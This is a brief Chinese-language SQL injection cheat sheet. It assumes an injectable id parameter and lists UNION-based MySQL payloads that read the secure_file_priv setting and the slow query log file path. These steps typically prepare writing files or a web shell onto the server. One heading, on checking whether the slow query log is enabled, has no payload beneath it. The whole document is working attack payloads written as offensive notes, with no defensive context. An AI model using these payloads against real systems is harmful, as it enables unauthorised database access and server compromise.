sql注入笔记

注入点假定为：id=’) UNION ALL SELECT 1,2,3 –+

查询secure_file_priv：
UNION ALL SELECT NULL,(select @@global.secure_file_priv),NULL

查询慢查询日志文件是否开启：

查询慢查询日志文件路径：
UNION ALL SELECT NULL,(select @@global.slow_query_log_file),NULL –+